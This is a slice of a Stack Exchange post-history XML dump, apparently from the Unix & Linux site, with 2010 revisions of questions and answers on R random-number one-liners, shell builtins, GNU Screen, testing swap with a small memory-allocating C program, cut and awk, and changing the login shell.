href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/Normal.html&quot;&gt;`rnorm()`&lt;/a&gt; is the R function to get a list of random numbers with the &quot;normal&quot; or Gaussian distribution.  It takes up to three parameters, only the first of which is required, how many numbers you want.  We've asked for 100.  By taking the defaults for the other two optional parameters, we get a mean of 0 and a standard deviation of 1.&#xD;&#xA;&#xD;&#xA;The arithmetic after that is just showing off a cool feature of the R language: you can do arithmetic on whole data tables, matrices, etc., just as easily as a scalar value in a more typical language.  I've multiplied all generated values by 100 and added 100 to them, just because I can.  You could do other things here, like clamp the values to integers, scale them in more useful ways, etc.&#xD;&#xA;&#xD;&#xA;We pass that table as the first parameter to the `write()` function, which writes the data out to a file by default, but we've overridden that by passing a blank string for the second parameter, the file name, so it writes the table out to the terminal instead.  The next parameter, `1`, just tells it we want our output in single-column format.&#xD;&#xA;&#xD;&#xA;R has &lt;a href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/00Index.html#R&quot;&gt;many&lt;/a&gt; other random number generation functions and other probability distributions built into the base system.  For instance, we can mimic the `jot` command in lcpriani's answer with this command:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(round(runif(10, 12, 27)), &quot;&quot;, 1)'&#xD;&#xA;&#xD;&#xA;Here we're using `runif()` to get 10 uniformly-distributed random numbers from 12 to 27.  This function returns floating-point values, so we have to `round()` them to their nearest integer values before writing them to the screen.&#xD;&#xA;&#xD;&#xA;R also has a rich set of add-ons in &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;, a package repository modeled on Perl's CPAN.  One you might be interested in is simply called &lt;a href=&quot;http://cran.opensourceresources.org/web/packages/random/&quot;&gt;random&lt;/a&gt;, which acts as an interface to &lt;a href=&quot;http://random.org/&quot;&gt;random.org&lt;/a&gt;, a service that returns true random numbers generated from atmospheric noise.&#xD;&#xA;&#xD;&#xA;R is a complete programming environment, so it may be that you don't actually need to get your numbers out of R in text format.  You might be able to solve your problem entirely in R.  Give it a shot." />
  <row Id="2608" PostHistoryTypeId="5" PostId="1201" RevisionGUID="394355a7-4754-4370-a5a4-563973d81c1a" CreationDate="2010-08-28T21:14:21.800" UserId="138" Comment="better link for list of R statistical distributions" Text="If you don't mind writing a small script to do what you need, I'd recommend doing it in &lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt;, the open-source statistics system.&#xD;&#xA;&#xD;&#xA;For instance, consider this one-liner to get a list of 100 Gaussian-distributed numbers:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(rnorm(100) * 100 + 100, &quot;&quot;, 1)'&#xD;&#xA;    234.2903&#xD;&#xA;    -25.53289&#xD;&#xA;    168.0262&#xD;&#xA;    -28.49810&#xD;&#xA;    105.0687&#xD;&#xA;    85.97355&#xD;&#xA;    269.5072&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Let's break this down.&#xD;&#xA;&#xD;&#xA;The standard `R` command brings you into an interactive programming environment, which is fine if you're trying to work out how to do something by hand or are building something up incrementally, but from your question, it sounds like you just need a list of numbers to send to another program.  So instead, we use `Rscript`, which behaves more like a traditional Unix script interpreter: you can pass it the name of a file containing an R script, or use the standard `-e` flag to pass the entire program text on the command line.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/Normal.html&quot;&gt;`rnorm()`&lt;/a&gt; is the R function to get a list of random numbers with the &quot;normal&quot; or Gaussian distribution.  It takes up to three parameters, only the first of which is required, how many numbers you want.  We've asked for 100.  By taking the defaults for the other two optional parameters, we get a mean of 0 and a standard deviation of 1.&#xD;&#xA;&#xD;&#xA;The arithmetic after that is just showing off a cool feature of the R language: you can do arithmetic on whole data tables, matrices, etc., just as easily as a scalar value in a more typical language.  I've multiplied all generated values by 100 and added 100 to them, just because I can.  You could do other things here, like clamp the values to integers, scale them in more useful ways, etc.&#xD;&#xA;&#xD;&#xA;We pass that table as the first parameter to the `write()` function, which writes the data out to a file by default, but we've overridden that by passing a blank string for the second parameter, the file name, so it writes the table out to the terminal instead.  The next parameter, `1`, just tells it we want our output in single-column format.&#xD;&#xA;&#xD;&#xA;R has &lt;a href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/Distributions.html&quot;&gt;many&lt;/a&gt; other random number generation functions and other probability distributions built into the base system.  For instance, we can mimic the `jot` command in lcpriani's answer with this command:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(round(runif(10, 12, 27)), &quot;&quot;, 1)'&#xD;&#xA;&#xD;&#xA;Here we're using `runif()` to get 10 uniformly-distributed random numbers from 12 to 27.  This function returns floating-point values, so we have to `round()` them to their nearest integer values before writing them to the screen.&#xD;&#xA;&#xD;&#xA;R also has a rich set of add-ons in &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;, a package repository modeled on Perl's CPAN.  One you might be interested in is simply called &lt;a href=&quot;http://cran.opensourceresources.org/web/packages/random/&quot;&gt;random&lt;/a&gt;, which acts as an interface to &lt;a href=&quot;http://random.org/&quot;&gt;random.org&lt;/a&gt;, a service that returns true random numbers generated from atmospheric noise.&#xD;&#xA;&#xD;&#xA;R is a complete programming environment, so it may be that you don't actually need to get your numbers out of R in text format.  You might be able to solve your problem entirely in R.  Give it a shot." />
  <row Id="2609" PostHistoryTypeId="5" PostId="256" RevisionGUID="4ede0144-e2d8-469f-9c8f-02cd36a1ca2e" CreationDate="2010-08-29T00:48:51.100" UserId="184" Comment="added 19 characters in body; edited tags" Text="I see some people make separate Partition for /boot!&#xD;&#xA;what is the benefit of this?&#xD;&#xA;&#xD;&#xA;what problem may be I encounter in future by doing this?&#xD;&#xA;&#xD;&#xA;P.S: except /home and /boot which partition can be separated? is it recommended?&#xD;&#xA;" />
  <row Id="2610" PostHistoryTypeId="6" PostId="256" RevisionGUID="4ede0144-e2d8-469f-9c8f-02cd36a1ca2e" CreationDate="2010-08-29T00:48:51.100" UserId="184" Comment="added 19 characters in body; edited tags" Text="éinstallàépartitionàébootà" />
  <row Id="2611" PostHistoryTypeId="5" PostId="1201" RevisionGUID="1ef0e982-ecc2-4d9c-8134-04b17a632650" CreationDate="2010-08-29T01:36:10.527" UserId="138" Comment="clarity tweaks" Text="If you don't mind writing a small script to do what you need, I'd recommend doing it in &lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt;, the open-source statistics system.&#xD;&#xA;&#xD;&#xA;For instance, consider this one-liner to get a list of 100 Gaussian-distributed numbers:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(rnorm(100) * 100 + 100, &quot;&quot;, 1)'&#xD;&#xA;    234.2903&#xD;&#xA;    -25.53289&#xD;&#xA;    168.0262&#xD;&#xA;    -28.49810&#xD;&#xA;    105.0687&#xD;&#xA;    85.97355&#xD;&#xA;    269.5072&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Let's break this down.&#xD;&#xA;&#xD;&#xA;The standard `R` command brings you into an interactive programming environment, which is fine if you're trying to work out how to do something by hand or are building something up incrementally, but from your question, it sounds like you just need a list of numbers to send to another program.  So instead, we use `Rscript`, which behaves more like a traditional Unix script interpreter: you can pass it the name of a file containing an R script, or use the standard `-e` flag to pass the entire program text on the command line.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/Normal.html&quot;&gt;`rnorm()`&lt;/a&gt; is the R function to get a list of random numbers with the &quot;normal&quot; or Gaussian distribution.  It takes up to three parameters, only the first of which is required, how many numbers you want.  We've asked for 100.  By taking the defaults for the other two optional parameters, we get a mean of 0 and a standard deviation of 1.&#xD;&#xA;&#xD;&#xA;The arithmetic after that is just showing off a cool feature of the R language: you can do arithmetic on whole data tables, matrices, etc., just as easily as a scalar value in a more typical language.  I've multiplied all generated values by 100 and added 100 to them, just because I can.  Because R is a full-fledged programming language, there's no limit to the things you could do with this list of numbers.  That's the advantage of using such a system instead of a fixed-purpose command like `jot`.&#xD;&#xA;&#xD;&#xA;We pass the result of that previous operation to the `write()` function, which writes the data out to a file by default, but we've overridden that by passing a blank string for the second parameter, the file name, so it writes the table out to the terminal instead.  The next parameter, `1`, just tells it we want our output in single-column format.&#xD;&#xA;&#xD;&#xA;R has &lt;a href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/Distributions.html&quot;&gt;many&lt;/a&gt; other random number generation functions built into the base system.  For instance, we can mimic the `jot` command in lcpriani's answer with this script:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(round(runif(10, 12, 27)), &quot;&quot;, 1)'&#xD;&#xA;&#xD;&#xA;Here we're using `runif()` to get 10 uniformly-distributed random numbers from 12 to 27.  Like `rnorm()`, which we used above, this function returns floating-point values, so we have to `round()` them to their nearest integer values before writing them to the screen.&#xD;&#xA;&#xD;&#xA;R also has a rich set of add-ons in &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;, a package repository modeled on Perl's CPAN.  One you might be interested in is simply called &lt;a href=&quot;http://cran.opensourceresources.org/web/packages/random/&quot;&gt;random&lt;/a&gt;, which acts as an interface to &lt;a href=&quot;http://random.org/&quot;&gt;random.org&lt;/a&gt;, a service that returns true random numbers generated from atmospheric noise.&#xD;&#xA;&#xD;&#xA;R is a complete programming environment, so it may be that you don't actually need to get your numbers out of R in text format.  You might be able to solve your problem entirely in R.  Give it a shot." />
  <row Id="2612" PostHistoryTypeId="2" PostId="1352" RevisionGUID="89fdfab8-ca5d-4295-830f-d9d51562a616" CreationDate="2010-08-29T03:53:28.150" UserId="366" Text="Most of that data is generally exposed in the /proc virtual file-system primitives. Each process has an entry in /proc in a directory called the PID. So /proc/5437 would have the primitives for the 5437 process. Reading the primitives there and parsing appropriately would yet you close to what top does. &#xD;&#xA;&#xD;&#xA;Top actually works by calling specific function calls that extract this information directly from the kernel instead of pulling it from files. To do the same from bash you'd have to either pull it from the /proc virtual file system, or extract it out of other calls such as to `ps`. &#xD;&#xA;&#xD;&#xA;As for real-time, that isn't quite doable at the level of detail top provides. You can slice time fine enough that it appears to be real-time, but you will still be getting time-slices." />
  <row Id="2613" PostHistoryTypeId="2" PostId="1353" RevisionGUID="824fb82c-5e4f-4dc1-b209-7770ca95b93f" CreationDate="2010-08-29T04:19:27.170" UserId="1304" Text="Top uses Curses and reads the /proc file system" />
  <row Id="2614" PostHistoryTypeId="2" PostId="1354" RevisionGUID="1579731f-be33-4b50-b3ec-9a80ad42691f" CreationDate="2010-08-29T07:20:13.277" UserId="1270" Text="How can I write an OpenSuse script that will change my boot menu.lst file and add &quot;nomodeset&quot; automatically both to failsafe and normal boot option? (This script is for suseStudio I'm going to write it under the &quot;Run script whenever the appliance boots&quot; for the first boot).*&#xD;&#xA;&#xD;&#xA;*And can someone with a high rank please enter the following tags; &quot;edit suseStudio&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2615" PostHistoryTypeId="1" PostId="1354" RevisionGUID="1579731f-be33-4b50-b3ec-9a80ad42691f" CreationDate="2010-08-29T07:20:13.277" UserId="1270" Text="How can I write an OpenSuse script that will change my boot menu.lst file and add &quot;nomodeset&quot; automatically both to failsafe and normal boot option?" />
  <row Id="2616" PostHistoryTypeId="3" PostId="1354" RevisionGUID="1579731f-be33-4b50-b3ec-9a80ad42691f" CreationDate="2010-08-29T07:20:13.277" UserId="1270" Text="éscriptingàébootàéopensuseà" />
  <row Id="2617" PostHistoryTypeId="6" PostId="1354" RevisionGUID="b95b6c8a-df54-4ff2-a377-9667c7462c1f" CreationDate="2010-08-29T07:23:10.680" UserId="57" Comment="edited tags" Text="éscriptingàébootàéopensuseàésusestudioà" />
  <row Id="2618" PostHistoryTypeId="5" PostId="1354" RevisionGUID="24bafcb3-ff41-4be5-b704-e1c631a23ced" CreationDate="2010-08-29T07:27:11.287" UserId="73" Comment="deleted 93 characters in body" Text="How can I write an OpenSuse script that will change my boot menu.lst file and add &quot;nomodeset&quot; automatically both to failsafe and normal boot option? (This script is for suseStudio I'm going to write it under the &quot;Run script whenever the appliance boots&quot; for the first boot)." />
  <row Id="2619" PostHistoryTypeId="2" PostId="1355" RevisionGUID="f35df358-a64f-466a-ba81-b79c2ae6f53c" CreationDate="2010-08-29T07:33:58.690" UserId="912" Text="    $ which echo&#xD;&#xA;    echo: shell built-in command.&#xD;&#xA;    $ which ls&#xD;&#xA;    /bin/ls&#xD;&#xA;    $ which cat&#xD;&#xA;    /bin/cat&#xD;&#xA;&#xD;&#xA;Why is echo not an independent utility like `ls`, `ps`, `cat` etc? Why is it shell specific? Any good reasons?" />
  <row Id="2620" PostHistoryTypeId="1" PostId="1355" RevisionGUID="f35df358-a64f-466a-ba81-b79c2ae6f53c" CreationDate="2010-08-29T07:33:58.690" UserId="912" Text="Why is echo a shell built in command?" />
  <row Id="2621" PostHistoryTypeId="3" PostId="1355" RevisionGUID="f35df358-a64f-466a-ba81-b79c2ae6f53c" CreationDate="2010-08-29T07:33:58.690" UserId="912" Text="élinuxàéunixàélsàéechoàépsà" />
  <row Id="2622" PostHistoryTypeId="2" PostId="1356" RevisionGUID="b21179ae-1322-474e-96be-4f785618297d" CreationDate="2010-08-29T09:37:21.817" UserId="179" Text="When working at a normal xterm (not sure about a &quot;real&quot; terminal), when a full-screen program such as man or vim is closed, it disappears, leaving your screen so you can see your prompt, and previous prompts including where you launched the program that closed.&#xD;&#xA;&#xD;&#xA;When I am running within GNU Screen, however, when the program is closed it does not clear but is simply shifted up so a prompt can be displayed. To me this is ugly, and I'd like to know if &quot;normal&quot; behaviour can be resumed.&#xD;&#xA;&#xD;&#xA;I realise I could manually clear the screen myself but a) I don't want to and b) that would result in a totally clear screen, not what I'm after (though perhaps better, if this is as good as it gets)." />
  <row Id="2623" PostHistoryTypeId="1" PostId="1356" RevisionGUID="b21179ae-1322-474e-96be-4f785618297d" CreationDate="2010-08-29T09:37:21.817" UserId="179" Text="Clearing GNU Screen after full-screen application" />
  <row Id="2624" PostHistoryTypeId="3" PostId="1356" RevisionGUID="b21179ae-1322-474e-96be-4f785618297d" CreationDate="2010-08-29T09:37:21.817" UserId="179" Text="écommandölineàéscreenàéterminalà" />
  <row Id="2626" PostHistoryTypeId="2" PostId="1358" RevisionGUID="7b2fc0fc-8d94-4bbd-a139-754c4eaea801" CreationDate="2010-08-29T10:09:04.477" UserId="179" Text="If you know what will definitely be surrounding it on the line, you can use sed or Perl with something like &#xD;&#xA;`s/preceding-text$/preceding-text nomodeset$/g`&#xD;&#xA;&#xD;&#xA;The $ assumes that it's right at the end of the line. The preceding text would have to be unique to the lines you need to hit." />
  <row Id="2627" PostHistoryTypeId="2" PostId="1359" RevisionGUID="3835d4bf-aa42-42c0-a67d-7b2acb65660b" CreationDate="2010-08-29T10:32:34.813" UserId="138" Text="According to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian_Almquist_shell&quot;&gt;`dash`&lt;/a&gt; &lt;a href=&quot;http://linux.die.net/man/1/dash&quot;&gt;man page&lt;/a&gt;, there are two classes of builtins.&#xD;&#xA;&#xD;&#xA;Some commands have to be built-in because they cannot work if they are external.  `cd` is one such since if it were external, it could only change its own directory, it couldn't affect the current working directory of the shell.&#xD;&#xA;&#xD;&#xA;The other class of commands are built into the shell purely for efficiency.  The `dash` man page mentions `printf`, `echo`, and `test` as examples.&#xD;&#xA;&#xD;&#xA;These three builtins, at least, are also available as separate executables, and that's been the case going back to the mid 90s, that I remember, and probably before that.&#xD;&#xA;&#xD;&#xA;It wasn't always so.  In &lt;a href=&quot;http://wwwlehre.dhbw-stuttgart.de/~helbig/os/v6/doc/man1.ps&quot;&gt;section 1&lt;/a&gt; of the &quot;Ancient Unix&quot; version 6 manual, the pages on `sh` list only two commands we'd consider builtins today, `chdir` and `wait`.  (Yes, this was before the command got abbreviated to `cd`!)" />
  <row Id="2630" PostHistoryTypeId="5" PostId="1359" RevisionGUID="323f0f31-7904-4780-a592-83e4d9d353a2" CreationDate="2010-08-29T11:07:19.353" UserId="138" Comment="added 166 characters in body" Text="According to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian_Almquist_shell&quot;&gt;`dash`&lt;/a&gt; &lt;a href=&quot;http://linux.die.net/man/1/dash&quot;&gt;man page&lt;/a&gt;, there are two classes of builtins.&#xD;&#xA;&#xD;&#xA;Some commands have to be built-in because they cannot work if they are external.  `cd` is one such since if it were external, it could only change its own directory, it couldn't affect the current working directory of the shell.&#xD;&#xA;&#xD;&#xA;The other class of commands are built into the shell purely for efficiency.  The `dash` man page mentions `printf`, `echo`, and `test` as examples.&#xD;&#xA;&#xD;&#xA;These three builtins, at least, are also available as separate executables, and that's been the case going back to the mid 90s, that I remember, and probably before that.&#xD;&#xA;&#xD;&#xA;It wasn't always so.  In &lt;a href=&quot;http://wwwlehre.dhbw-stuttgart.de/~helbig/os/v6/doc/man1.ps&quot;&gt;section 1&lt;/a&gt; of the &quot;Ancient Unix&quot; version 6 manual, the pages on `sh` list only two commands we'd consider builtins today, `chdir` and `wait`.  (Yes, this was before the command got abbreviated to `cd`!)&#xD;&#xA;&#xD;&#xA;**EDIT**: I just booted up &lt;a href=&quot;http://simh.trailing-edge.com/software.html&quot;&gt;a copy of UNIX V7&lt;/a&gt;, and echo wasn't built into `sh` at that point yet, either." />
  <row Id="2631" PostHistoryTypeId="2" PostId="1361" RevisionGUID="057a39b7-b908-4f72-89e1-cf0166d3812c" CreationDate="2010-08-29T13:43:38.657" UserId="1290" Text="Erm, in case you're looking at `top` output for a longer time, and not just to check if a program is doing fine, I suggest using [htop](http://htop.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;It give's you a lot of real time information and is easier to control and manage.&#xD;&#xA;&#xD;&#xA;You can change the layout of the output, such as bar graphs and columns." />
  <row Id="2632" PostHistoryTypeId="2" PostId="1362" RevisionGUID="740e0ddd-734c-4e72-be75-ecf4995c0c6f" CreationDate="2010-08-29T15:10:11.593" UserId="4" Text="This isn't a function inside of `less`, but it is a useful feature.&#xD;&#xA;&#xD;&#xA;I like man pages, and prefer `less(1)` as my pager. However, most GNU software keeps the manual in the info(1) (GNU Texinfo) format, and I'm not a fan of the info(1) interface. Just give me less.&#xD;&#xA;&#xD;&#xA;So, I read info(1) pages using 'less' instead. The following command will print out the info(1) pages, using the familiar interface of less!&#xD;&#xA;&#xD;&#xA;    info gpg |less&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2633" PostHistoryTypeId="2" PostId="1363" RevisionGUID="bfef3d94-a71b-4d9a-9a34-155f203a9c12" CreationDate="2010-08-29T15:22:15.853" UserId="1002" Text="This is related to your `termcap` settings for screen.  Maybe you can try starting screen with the `-a` command line option." />
  <row Id="2635" PostHistoryTypeId="2" PostId="1364" RevisionGUID="2ec41860-ddbd-4789-9779-3c2ccb569bd0" CreationDate="2010-08-29T15:47:05.523" UserId="1002" Text="In Debian/Ubuntu there is the `unp` package, which is a Perl script that acts as a frontend for many archiving utilities." />
  <row Id="2636" PostHistoryTypeId="2" PostId="1365" RevisionGUID="6d8b56b6-add3-4391-a278-bf7db51f9983" CreationDate="2010-08-29T16:46:27.900" UserId="2180" Text="I've worked with a few embedded systems, but now I'd like to make my own piece of hardware and despite a pretty thorough knowledge of Linux, I have no idea how to get Linux up and running on new hardware. So I'm looking for resources on how to do some board bringup/support." />
  <row Id="2637" PostHistoryTypeId="1" PostId="1365" RevisionGUID="6d8b56b6-add3-4391-a278-bf7db51f9983" CreationDate="2010-08-29T16:46:27.900" UserId="2180" Text="Resources for very low-level (board bring-up)" />
  <row Id="2638" PostHistoryTypeId="3" PostId="1365" RevisionGUID="6d8b56b6-add3-4391-a278-bf7db51f9983" CreationDate="2010-08-29T16:46:27.900" UserId="2180" Text="éembeddedà" />
  <row Id="2639" PostHistoryTypeId="2" PostId="1366" RevisionGUID="a7e776c7-3e3a-4acb-ae4c-845dad1f03eb" CreationDate="2010-08-29T17:28:46.463" UserId="1103" Text="A relatively popular boot loader for embedded devices is Uboot:&#xD;&#xA;&#xD;&#xA;http://www.denx.de/wiki/view/DULG/Introduction&#xD;&#xA;&#xD;&#xA;http://sourceforge.net/projects/u-boot/&#xD;&#xA;&#xD;&#xA;The Uboot project originated from Germany; Uboot sounds like submarine in German, so the name sounds somewhat funny for German ears. &#xD;&#xA;&#xD;&#xA;I hope I didn't tell you something obvious. " />
  <row Id="2640" PostHistoryTypeId="2" PostId="1367" RevisionGUID="76202594-3cf9-4dac-aa7f-d451cab7a3e3" CreationDate="2010-08-29T17:42:29.723" UserId="1314" Text="I'm trying to diagnose some random segfaults on a headless server and one thing that seems curious is that they only seem to happen under memory pressure and my swap size will not go above 0.&#xD;&#xA;&#xD;&#xA;How can I force my machine to swap to make sure that it is working properly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    orca ~ # free&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:       1551140    1472392      78748          0     333920    1046368&#xD;&#xA;    -/+ buffers/cache:      92104    1459036&#xD;&#xA;    Swap:      1060280          0    1060280&#xD;&#xA;&#xD;&#xA;    orca ~ # swapon -s&#xD;&#xA;    Filename                                Type            Size    Used    Priority&#xD;&#xA;    /dev/sdb2                               partition       1060280 0       -1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2641" PostHistoryTypeId="1" PostId="1367" RevisionGUID="76202594-3cf9-4dac-aa7f-d451cab7a3e3" CreationDate="2010-08-29T17:42:29.723" UserId="1314" Text="How to test my swap partition." />
  <row Id="2642" PostHistoryTypeId="3" PostId="1367" RevisionGUID="76202594-3cf9-4dac-aa7f-d451cab7a3e3" CreationDate="2010-08-29T17:42:29.723" UserId="1314" Text="éswappingà" />
  <row Id="2643" PostHistoryTypeId="4" PostId="1367" RevisionGUID="b112ded7-d56e-4952-8621-140d9c4bf486" CreationDate="2010-08-29T17:59:49.093" UserId="1314" Comment="edited title" Text="How to test swap partition" />
  <row Id="2644" PostHistoryTypeId="5" PostId="1365" RevisionGUID="1b07c9cb-1c7c-4b3e-90c6-e4b41fe9a974" CreationDate="2010-08-29T18:49:19.037" UserId="2180" Comment="added 373 characters in body" Text="I've worked with a few embedded systems, but now I'd like to make my own piece of hardware and despite a pretty thorough knowledge of Linux, I have no idea how to get Linux up and running on new hardware. So I'm looking for resources on how to do some board bringup/support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Some more details:*&#xD;&#xA;I'm wondering about the following kinds of things:&#xD;&#xA;How does Linux know the processor configuration - e.g. how the pins are configured, how much cache is there, is there an MMU present.&#xD;&#xA;How does Linux know about the board layout - e.g. which pins are the memory bus, where is the row select, column select, which pins are an i2c bus, and so on." />
  <row Id="2645" PostHistoryTypeId="2" PostId="1368" RevisionGUID="f5339e04-6778-49a1-b665-db8d7810dedc" CreationDate="2010-08-29T19:17:54.940" UserId="1207" Text="Is this linux?  If so you could try the following:&#xD;&#xA;&#xD;&#xA;    # sysctl vm.swappiness=100&#xD;&#xA;&#xD;&#xA;And then either use a program(s) that uses lots of RAM or write a small application that just eats up ram.  The following will do that (source: [http://www.linuxatemyram.com/play.html][1]):&#xD;&#xA;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main(int argc, char** argv) {&#xD;&#xA;        int max = -1;&#xD;&#xA;        int mb = 0;&#xD;&#xA;        char* buffer;&#xD;&#xA;    &#xD;&#xA;        if(argc &gt; 1)&#xD;&#xA;            max = atoi(argv[1]);&#xD;&#xA;    &#xD;&#xA;        while((buffer=malloc(1024*1024)) != NULL &amp;&amp; mb != max) {&#xD;&#xA;            memset(buffer, 0, 1024*1024);&#xD;&#xA;            mb++;&#xD;&#xA;            printf(&quot;Allocated %d MB\n&quot;, mb);&#xD;&#xA;            sleep(1);&#xD;&#xA;        }      &#xD;&#xA;    return 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I added the sleep(1) in order to give you more time to watch the processes as it gobbles up ram and swap.  The OOM killer should kill this once you are out of RAM and SWAP to give to the program.  You can compile it with&#xD;&#xA;&#xD;&#xA;    gcc filename.c -o memeater&#xD;&#xA;&#xD;&#xA;where filename.c is the file you save the above program in.  Then you can run it with ./memeater.&#xD;&#xA;&#xD;&#xA;I wouldn't do this on a production machine.&#xD;&#xA;  [1]: http://www.linuxatemyram.com/play.html" />
  <row Id="2646" PostHistoryTypeId="2" PostId="1369" RevisionGUID="120b9216-137f-4e93-9500-3e5166c5926c" CreationDate="2010-08-29T20:31:16.250" UserId="885" Text="Some terminals, such as xterm, support what is known as an “alternate screen”: there are separate screens for full-screen programs and for scrolling programs. In xterm, you can switch between the two screens with the “show alternate screen” command at the bottom of the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;mouse 2&lt;/kbd&gt; menu.&#xD;&#xA;&#xD;&#xA;This behavior is disabled by default in screen but can be enabled with the `altscreen` option: add `altscreen on` to your `~/.screenrc`.&#xD;&#xA;" />
  <row Id="2647" PostHistoryTypeId="2" PostId="1370" RevisionGUID="f0a6b160-d433-4128-bdbc-46b895d8b6db" CreationDate="2010-08-29T20:37:05.560" UserId="1131" Text="The default delimiter in awk is white-space to non-whitespace change.&#xD;&#xA;&#xD;&#xA;The default for cut is the tab character.&#xD;&#xA;&#xD;&#xA;Can I tell cut to use non-white-space to white space delimters?&#xD;&#xA;&#xD;&#xA;E.g.&#xD;&#xA;&#xD;&#xA;a:&#xD;&#xA;&#xD;&#xA;    foo  bar&#xD;&#xA;&#xD;&#xA;    cut -d' ' -f2 a&#xD;&#xA;&#xD;&#xA;prints just a space, but should print *bar*.&#xD;&#xA;&#xD;&#xA;    awk '{ print $2; } a&#xD;&#xA;&#xD;&#xA;print bar.&#xD;&#xA;&#xD;&#xA;Sure, often you can just use awk as a cut replacement if you need that semantics. But cut has the advantage that it is very memory efficient. Especially it does not load unused columns into memory (unlike some awks).&#xD;&#xA;" />
  <row Id="2648" PostHistoryTypeId="1" PostId="1370" RevisionGUID="f0a6b160-d433-4128-bdbc-46b895d8b6db" CreationDate="2010-08-29T20:37:05.560" UserId="1131" Text="Does cut support non-white-space to white-space delimeters?" />
  <row Id="2649" PostHistoryTypeId="3" PostId="1370" RevisionGUID="f0a6b160-d433-4128-bdbc-46b895d8b6db" CreationDate="2010-08-29T20:37:05.560" UserId="1131" Text="éshellà" />
  <row Id="2650" PostHistoryTypeId="2" PostId="1371" RevisionGUID="49a300a4-b596-436d-8884-d2e5cc786142" CreationDate="2010-08-29T21:37:08.203" UserId="138" Text="I don't see how to make `cut(1)` do what you want.  I believe you are correct in believing that if you have mixed whitespace delimiters that the best alternative is `awk(1)`." />
  <row Id="2651" PostHistoryTypeId="2" PostId="1372" RevisionGUID="167c76c0-9f83-4e59-bcfe-165fb1300297" CreationDate="2010-08-29T23:12:23.330" UserId="885" Text="You could preprocess your data with something like `tr -s ' ' '\t'`. But you wouldn't get any benefit unless your lines were very long. (How long? measure and find out.)&#xD;&#xA;" />
  <row Id="2652" PostHistoryTypeId="6" PostId="1367" RevisionGUID="d22b72fe-a30c-49aa-b71d-aa727b9154f3" CreationDate="2010-08-30T00:41:28.950" UserId="1314" Comment="edited tags" Text="élinuxàéswappingà" />
  <row Id="2653" PostHistoryTypeId="2" PostId="1373" RevisionGUID="78ffac4b-88a7-43cd-878d-71b90ea5446e" CreationDate="2010-08-30T01:59:45.560" UserId="58" Text="I was surprised that I didn't find this question already on the site. So, today `$` came up after I logged in as a new user. This was unexpected because my main user's prompt starts with `username@computername:~$`.&#xD;&#xA;&#xD;&#xA;So, how do I switch from this other shell to bash?" />
  <row Id="2654" PostHistoryTypeId="1" PostId="1373" RevisionGUID="78ffac4b-88a7-43cd-878d-71b90ea5446e" CreationDate="2010-08-30T01:59:45.560" UserId="58" Text="How do I switch from an unknown shell to bash?" />
  <row Id="2655" PostHistoryTypeId="3" PostId="1373" RevisionGUID="78ffac4b-88a7-43cd-878d-71b90ea5446e" CreationDate="2010-08-30T01:59:45.560" UserId="58" Text="éshellà" />
  <row Id="2656" PostHistoryTypeId="2" PostId="1374" RevisionGUID="a1000279-5d0b-47a6-955b-11b0a74e7d10" CreationDate="2010-08-30T02:27:52.537" UserId="29" Text="you type in `bash`. If you want this to be a permanent change the default shell to `/bin/bash` by editing `/etc/passwd`." />
  <row Id="2657" PostHistoryTypeId="2" PostId="1375" RevisionGUID="f1e9e490-cfca-4e10-92c4-5895aba6ebfc" CreationDate="2010-08-30T02:28:01.803" UserId="195" Text="Assuming the unknown shell supports running an absolute command, you could try: `/bin/bash`&#xD;&#xA;&#xD;&#xA;To change the default shell, I would use `chsh(1)`. Sample usage: `chsh -s /bin/bash your_user`" />
  <row Id="2658" PostHistoryTypeId="2" PostId="1376" RevisionGUID="262eb2cb-cb46-452b-8970-dfdd3626b4fb" CreationDate="2010-08-30T02:36:12.800" UserId="58" Text="So I know tools exist for this problem because I've heard about them, but I don't know what they are.&#xD;&#xA;&#xD;&#xA;I want to do something like filter out all data but the usernames in /etc/passwd.&#xD;&#xA;&#xD;&#xA;For example, I would want to grab user1, user2, and user3 from the following file. In this case, the logic could be &quot;Grab text up to the first ':' on each line of the file&quot;.&#xD;&#xA;&#xD;&#xA;    user1:x:1:4&#xD;&#xA;    user2:x:2:5&#xD;&#xA;    user3:x:3:6&#xD;&#xA;&#xD;&#xA;The output would be:&#xD;&#xA;&#xD;&#xA;    user1&#xD;&#xA;    user2&#xD;&#xA;    user3" />
